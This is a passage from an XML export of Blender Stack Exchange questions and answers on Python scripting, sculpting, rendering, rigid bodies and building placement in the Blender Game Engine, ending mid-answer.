  <row Id="28304" PostTypeId="1" CreationDate="2015-04-09T17:45:38.503" Score="3" ViewCount="723" Body="&lt;p&gt;What I wanna do is bake sound with different frequency ranges to different objects. It is done pretty simply using Python scripts. However, I am seeking for a way to speed this process up by utilizing multiple CPU cores. As far as I understand, it is done with &lt;code&gt;multiprocessing&lt;/code&gt; module in Python. Here's what I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from multiprocessing import Process&#xA;&#xA;FREQS=[(1000,2000),&#xA;(2000,5000),&#xA;(5000,20000)&#xA;]&#xA;&#xA;def soundBake(lo,hi):&#xA;    pass&#xA;    print(&quot;soundBake started&quot;)#debug&#xA;    bpy.context.area.type = 'GRAPH_EDITOR'&#xA;    bpy.ops.graph.sound_bake(filepath=&quot;/tmp/001.mp3&quot;,low=lo,high=hi)&#xA;    print(&quot;soundBake completed&quot;)#debug&#xA;&#xA;scene = bpy.context.scene&#xA;objects= scene.objects&#xA;&#xA;processes=[]&#xA;&#xA;bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;&#xA;for i, obj in enumerate(objects):&#xA;    pass&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    print(&quot;i &quot;, str(i))#debug        &#xA;    obj.select = True&#xA;&#xA;&#xA;&#xA;    lo=FREQS[i][0]&#xA;    hi=FREQS[i][1]&#xA;    print(&quot;lo&quot;,str(lo),&quot;hi&quot;,str(hi))&#xA;&#xA;    p=Process(target=soundBake,args=(lo,hi,))&#xA;    processes+=[p]&#xA;    p.start()&#xA;&#xA;    obj.select = False&#xA;&#xA;    break#debug&#xA;&#xA;for proc in processes:&#xA;    proc.join()&#xA;&#xA;bpy.context.area.type = 'TEXT_EDITOR'&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;print(&quot;\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i  0&#xA;lo 1000 hi 2000&#xA;soundBake started&#xA;Process Process-37:&#xA;Traceback (most recent call last):&#xA;  File &quot;/home/highstaker/blender-2.73-linux-glibc211-i686/2.73/python/lib/python3.4/multiprocessing/process.py&quot;, line 254, in _bootstrap&#xA;    self.run()&#xA;  File &quot;/home/highstaker/blender-2.73-linux-glibc211-i686/2.73/python/lib/python3.4/multiprocessing/process.py&quot;, line 93, in run&#xA;    self._target(*self._args, **self._kwargs)&#xA;  File &quot;/home/highstaker/Dropbox/3d/blender_projects/!Tests/bakingSOundsMultiprocessing.blend/Text&quot;, line 13, in soundBake&#xA;  File &quot;/home/highstaker/blender-2.73-linux-glibc211-i686/2.73/scripts/modules/bpy/ops.py&quot;, line 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.graph.sound_bake.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I presume that setting a context using &lt;code&gt;&#xA;bpy.context.area.type&lt;/code&gt; doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make the operator run in a subprocess so I could split them to several CPU cores? And how do I set this context for the subprocess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender version 2.72.&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-04-11T12:46:05.117" LastActivityDate="2015-04-15T19:32:41.650" Title="Using multiprocessing to speed up multiple sound bakings" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28305" PostTypeId="2" ParentId="28303" CreationDate="2015-04-09T17:48:29.523" Score="13" Body="&lt;p&gt;You need to disable symmetry lock. It only happens in sculpt mode, the option to turn it off or on can be found under tools  &gt;  symmetry lock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the shaded option to disable, x by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SKWlW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry, you did nothing wrong&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-09T17:48:29.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28306" PostTypeId="1" AcceptedAnswerId="28307" CreationDate="2015-04-09T18:39:09.300" Score="6" ViewCount="1673" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/510MG.jpg&quot; alt=&quot;multiresolution sculpted mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's my sculpted head, the base mesh is very simple. I have done this with normal sculpting and multiresolution modifier.&lt;br&gt;&#xA;Now when I enable Dynamic Topology it throws my sculpting in the trash and I get the base mesh.&lt;br&gt;&#xA;Toggling the dynamic Topology off, I get such a sculpt:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/juBvS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/juBvS.jpg&quot; alt=&quot;after dynamic topology&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rescue my sculpting work and still use dynamic topology?&lt;br&gt;&#xA;Should I retopology the mesh?&lt;br&gt;&#xA;The mesh will be 3d printed, is it enough to apply the multiresolution modifier in the end, to get the sculpting into the print?&lt;/p&gt;&#xA;" OwnerUserId="13706" LastEditorUserId="2217" LastEditDate="2015-04-09T19:49:00.233" LastActivityDate="2015-04-09T19:49:00.233" Title="Sculpted with Multiresolution, enable Dynamic Topology wrecks mesh" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28307" PostTypeId="2" ParentId="28306" CreationDate="2015-04-09T19:31:24.797" Score="6" Body="&lt;p&gt;The Multiresulition modifier simply does not work with dynamic topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you try to enable dynamic topology with a Multiresulition modifier on the mesh you will get a warning message like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning!&lt;br&gt;&#xA;  Generative Modifiers Detected!&lt;br&gt;&#xA;  Keeping the modifiers will increase polycount when returning to edit mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8aISs.png&quot; alt=&quot;warning message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you hover over the modifier you will see this error message.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not supported in dyntopo&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHbuV.png&quot; alt=&quot;error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to &lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;apply&lt;/a&gt; the modifier before using dynamic topology.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The only way to &quot;rescue&quot; your sculpt now is to go back to a previous save, before you enabled dynamic topology.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-04-09T19:31:24.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28308" PostTypeId="2" ParentId="13770" CreationDate="2015-04-09T19:58:30.087" Score="2" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/13770/cell-fracture-not-appearing-when-activated#comment18590_13770&quot;&gt;GiantCowFilms said&lt;/a&gt;, the cell fracture addon is used in &lt;a href=&quot;http://blender.org/manual/modeling/objects/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;object mode&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0AH6M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-04-09T19:58:30.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28309" PostTypeId="1" CreationDate="2015-04-09T20:54:56.943" Score="2" ViewCount="710" Body="&lt;p&gt;This has happened multiple times, but I would render an image or animation, but would accidentally re-render the image or animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go to the UV image editor and find the older render?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2015-04-09T21:56:59.483" Title="I started rendering a new animation after completely rendering one before. How do I retrieve that older render?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28310" PostTypeId="1" CreationDate="2015-04-09T21:37:25.363" Score="3" ViewCount="229" Body="&lt;p&gt;It seems like in the 2.73a version (and 2.74), bpy.context.selected_nodes method is not available despite the documentation showing it up. Does anyone have an idea on what could be happening ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="13688" LastActivityDate="2015-04-15T19:39:40.047" Title="Python API: bpy.context.selected_nodes gone?" Tags="&lt;python&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28311" PostTypeId="2" ParentId="28309" CreationDate="2015-04-09T21:47:40.427" Score="3" Body="&lt;p&gt;If you wrote over other files there isn't much you can do other than doing some kind of forensics and trying to recover your files with Data Recovery software (and that is way beyond the scope of this site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand there are a couple of things you should do to prevent this from happening again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-. Uncheck the Overwrite box on the output tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zsl6l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-. Don't use an animation (AVI, Qucktime, h264, Xvid, MPEG) format as output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-. Render your animation as a series of images (PNG, Tiff, DPX, OpenEXR) and compile as video once you have rendered all your frames. This way, if the computer crashes you'll only loose the current frame but will keep all of the frames that have been rendered already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-. Save different image sequence/animation renders to different folders under the Output file-path. This will let you save newly rendered sequences while preserving older ones for later analysis.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="6204" LastEditDate="2015-04-09T21:56:59.483" LastActivityDate="2015-04-09T21:56:59.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28312" PostTypeId="1" AcceptedAnswerId="28313" CreationDate="2015-04-09T22:04:40.463" Score="15" ViewCount="1775" Body="&lt;p&gt;I'm working on an &lt;a href=&quot;https://en.wikipedia.org/wiki/Real-time_strategy&quot; rel=&quot;noreferrer&quot;&gt;RTS&lt;/a&gt; in BGE, and I am not sure how I could make it so you can place buildings on flat surfaces (or unless there is an easier way). I would love to know how to place buildings when you click a certain button to place it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really need anything fancy like price and stuff like that yet. I really have no idea if &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python&quot; rel=&quot;noreferrer&quot;&gt;Python&lt;/a&gt; is required to do this.&lt;/p&gt;&#xA;" OwnerUserId="13622" LastEditorUserId="2217" LastEditDate="2015-04-10T15:23:30.337" LastActivityDate="2019-12-29T01:59:35.213" Title="How could I place objects (buildings) on a flat surface in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28313" PostTypeId="2" ParentId="28312" CreationDate="2015-04-09T22:24:07.490" Score="34" Body="&lt;p&gt;&lt;em&gt;Warning&lt;/em&gt;: this is a long answer. It may take a while for some of the images to load. For those of you who don't like reading: The working .blend files are at the &lt;strong&gt;bottom&lt;/strong&gt; of this answer.&lt;/p&gt;&#xA;&lt;h1&gt;Basic Mechanics&lt;/h1&gt;&#xA;&lt;p&gt;You first need an empty (named &lt;strong&gt;Arrow&lt;/strong&gt;) to follow the mouse. This empty will add the buildings.&lt;/p&gt;&#xA;&lt;p&gt;You will need a script like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    &#xA;    mouse_over = cont.sensors[&amp;quot;MouseOver&amp;quot;]&#xA;    &#xA;    if mouse_over.positive and scene.objects[&amp;quot;Arrow&amp;quot;]['ActiveYesNo?'] :&#xA;        tracker = scene.objects[&amp;quot;Arrow&amp;quot;]&#xA;        tracker.worldPosition = mouse_over.hitPosition&#xA;        tracker.worldPosition.z += 1&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And use this on your empty.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7M0pp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;That way your empty will always track to your mouse.&lt;/p&gt;&#xA;&lt;p&gt;Now all you need to do is make it add the buildings when you click and it is in a valid position. You can do this by adding some more simple logic on your empty.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r29ud.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now when the Boolean property &lt;strong&gt;OkSpot?&lt;/strong&gt; is true, and the left mouse button is pressed, it will add your building object. however this doesn't help us much if there is nothing to toggle that property when the placement spot is valid.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0oHT1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now when the arrow receives the message &lt;strong&gt;GoodSpot&lt;/strong&gt; it will set the Boolean &lt;strong&gt;OkSpot?&lt;/strong&gt; to &lt;strong&gt;true&lt;/strong&gt; and, when the arrow receives the message &lt;strong&gt;BadSpot&lt;/strong&gt; it will set the Boolean &lt;strong&gt;OkSpot?&lt;/strong&gt; to &lt;strong&gt;false&lt;/strong&gt;. Now we are done with the empty (named &lt;strong&gt;Arrow&lt;/strong&gt;), but we now need something to send those messages.&lt;/p&gt;&#xA;&lt;p&gt;We obviously need some sort of collision detector. In this case, a simple cube will work. &lt;a href=&quot;https://blender.stackexchange.com/q/21589/5426&quot;&gt;Add a cube&lt;/a&gt; and parent it to your empty (named &lt;strong&gt;Arrow&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;p&gt;We need to edit the cube so that it is slightly above the ground.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGw1r.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now when it is on the slightest slope, it will be colliding with the ground.&#xA;It is also important that you change your Collision object's collision type from static to sensor, because &lt;a href=&quot;https://blender.stackexchange.com/q/14628/5426&quot;&gt;static objects can't detect collisions with other static objects&lt;/a&gt; and, I assume that your ground will be a static object. You also should set it's collision bounds to &lt;em&gt;Box&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cVCUz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have our collision object detecting collisions properly, we still need it to send that information to the arrow. We can do this by using this logic setup.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UVweD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can test it. Everything should be working so far. the building we will be adding is just a cube for now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZaOQ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;The basic mechanics should be working now to place the buildings. skip to the end if you don't care about how your game looks.&lt;/h1&gt;&#xA;&lt;p&gt;If you want to be make it much more complicated, you can have two other no-collision duplicates of the building that will be added, one transparent green, and the other transparent red. (to show when the selection is valid.) Then you can make the arrow directly connected to the red and green objects telling it when the selection is or is not valid.  TO make this simpler, first we should set the maximum draw type on your collision detector to wire. we also need to make it invisible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7WidG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDTPg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now if we look at the viewport, it should look like this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YV0jK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can add the red and green cubes. These are just graphics to make it look pretty and are actually irrelevant for the basic mechanics. The system already works fine (skip to the end if you don't need it to look good).&lt;/p&gt;&#xA;&lt;p&gt;Now, both your red and green cubes should be no-collision and both parented to the main empty (still named &lt;strong&gt;Arrow&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4piot.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IjEZG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now all we need to do is make them toggle their visibility depending on whether or not the selection is valid. we can do this by adding two &lt;em&gt;visibility&lt;/em&gt; actuators to both &lt;em&gt;Cube Red&lt;/em&gt; and &lt;em&gt;Cube Green&lt;/em&gt; then we need to add another property sensor on the empty (yes, it is still named &lt;strong&gt;Arrow&lt;/strong&gt;) to detect when the Boolean &lt;strong&gt;OkSpot?&lt;/strong&gt; is false.&lt;/p&gt;&#xA;&lt;p&gt;If you don't like reading but are ok with pictures, skip this part.&lt;/p&gt;&#xA;&lt;p&gt;we already have a property sensor to detect when it is true, so we can re-use that one. If we connect them to the appropriate &lt;em&gt;visibility&lt;/em&gt; actuators on both cubes, it should change color accordingly. I have named the &lt;em&gt;and&lt;/em&gt; controllers ok and &lt;em&gt;not&lt;/em&gt; to make connecting them simpler. The &lt;em&gt;and&lt;/em&gt; controller that is connected to the property sensor that detects when &lt;strong&gt;OkSpot?&lt;/strong&gt; is true, receives a positive pulse when the arrow is in a valid spot. because we are going to use the green cube to show when the selection is valid, it should be visible when the selection is valid. the red cube should not be visible when the selection is valid. connect the other *and * controller to the visibility actuators that are still unused.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmIlx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that everything is working, we can test it again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9OZpQ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Everything seems to be working fine.&lt;/p&gt;&#xA;&lt;h1&gt;We are now going to add the button to toggle on/off the build system. If you only want it to work and look cool, skip to the very end where the blend files are. Doing this will make a big mess of the logic, and I recommend also downloading the simplified blend so you can get an idea of how this works without the messy logic of the working one.&lt;/h1&gt;&#xA;&lt;p&gt;We can now add the button to turn on/off the arrow.&lt;/p&gt;&#xA;&lt;p&gt;We need an overlay scene with a camera and a button. the button can be something fancy, or just a plane with logic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebtmt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASFBr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can go back to the main scene and add a &lt;em&gt;scene&lt;/em&gt; actuator to one of the objects to add the &lt;em&gt;HUD&lt;/em&gt; scene. It is true that you could put it on any one of your objects, But I usually add an empty and put it somewhere where it is easily accessible. This empty holds all of the Game start/end and Scene add/remove logic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P70bP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;We also need the mouse to display. In newer versions, this is much easier than before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ncWnS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we need to modify the logic on the original empty (still named &lt;strong&gt;Arrow&lt;/strong&gt;). When logic starts to get this messy, you can un-check the check boxes to make editing easier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note that doing this also disables the logic bricks so be sure to re-enable them before testing.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ju0YC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the newly added logic on the Arrow, now when you place a building, it will deactivate the arrow.&lt;/p&gt;&#xA;&lt;p&gt;We need to add a way so that clicking the Build button on the HUD will activate it add a new one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqM0E.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;We should test it now to see if this part is working.&#xA;&lt;em&gt;Don't forget to re-enable the logic that we un-checked&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aWVn5.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This part is working. However, we can still see the arrow if it isn't active. This can be fixed easily enough.&lt;/p&gt;&#xA;&lt;p&gt;You need to significantly change the logic on your arrow to match this.&#xA;(Simplified)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/to4EM.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;(Expanded)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/D9BPT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two blend files below. One is without that mess, one has it working.&lt;/p&gt;&#xA;&lt;p&gt;We must test it again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkyvW.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you had any trouble following that, you can always look at, take apart, and/or  modify the blend files.&lt;/p&gt;&#xA;&lt;p&gt;Blend file without button to build (always has arrow active) - Logic is simple.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/166/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=166&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blend file with button to build (Click button to activate arrow, click to place cube, clicking also deactivates arrow so you must click build button for each cube you want to add again) - full working demo. Logic is harder to understand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/27/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=27&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-05T14:57:09.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28314" PostTypeId="2" ParentId="27470" CreationDate="2015-04-09T22:28:00.420" Score="2" Body="&lt;p&gt;Try increasing the number of constraint iterations and simulation steps in &lt;em&gt;Properties &gt; Scene &gt; Rigid body world&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/75UUV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 iterations and 60 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/AcclaimedOrnateJackrabbit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/AcclaimedOrnateJackrabbit.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;100 iterations and 120 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/BlankWelllitFlicker&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/BlankWelllitFlicker.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.347" LastActivityDate="2015-04-09T22:28:00.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28315" PostTypeId="1" CreationDate="2015-04-09T22:50:12.637" Score="5" ViewCount="9797" Body="&lt;p&gt;Okay, so this thing, is for me very strange. It still might be very obvious, but I started with blender 4 days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is happening is that when I am rendering my animation, I have a white wall and ground where the scene grid is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot when in render mode: &lt;img src=&quot;https://i.stack.imgur.com/94n34.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here it is in material mode: &lt;img src=&quot;https://i.stack.imgur.com/RTXoP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to remove this, and I have tried for hours now with no success. I tried to unlink &quot;world&quot; from the scene but then it got all dark when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any idea of what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am making an animated minecraft intro)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I was told to do alt + h and then the wall and the ground was visible in material mode as well. Here is a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HjLDf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find a way to delete it...  :/&lt;/p&gt;&#xA;" OwnerUserId="13710" LastEditorDisplayName="user1853" LastEditDate="2015-04-10T00:45:55.237" LastActivityDate="2016-08-13T23:35:34.160" Title="Can't select and delete an object" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28316" PostTypeId="2" ParentId="28315" CreationDate="2015-04-09T23:19:00.183" Score="0" Body="&lt;p&gt;There is no way to entirely disable World (although you can make it functionally do nothing.) However, you don't need to, because the piece you are having issues with is not World. World contains no geometry, it is only your background color. The piece shown in your images is a piece of geometry, and should be deletable like any other. You just have to find where it is and what its called. Try looking in the Outliner, and keep in mind that if the Arrow (looks like a mouse pointer) next to something is disabled, then it cannot be selected until you re-enable it. It could also be hiding on other render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you share your file, we can help you figure out the problem piece.&#xA;EDIT: Upon reviewing file, it was a piece called &quot;Plane&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-04-10T00:45:45.500" LastActivityDate="2015-04-10T00:45:45.500" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28317" PostTypeId="2" ParentId="28315" CreationDate="2015-04-10T00:25:10.910" Score="9" Body="&lt;p&gt;Not a bug, no black magic needed to get rid of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have is an object that cannot be selected. The &lt;strong&gt;selectable&lt;/strong&gt; switch has been disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jff9X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable that, select the object and delete it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those icons on the outliner are toggle switches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Eye&lt;/strong&gt; to make the object &lt;strong&gt;visible&lt;/strong&gt; in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Arrow&lt;/strong&gt; for &lt;strong&gt;selectability&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Camera&lt;/strong&gt; to enable the object for &lt;strong&gt;rendering&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make yourself a favor and read the manual page for the 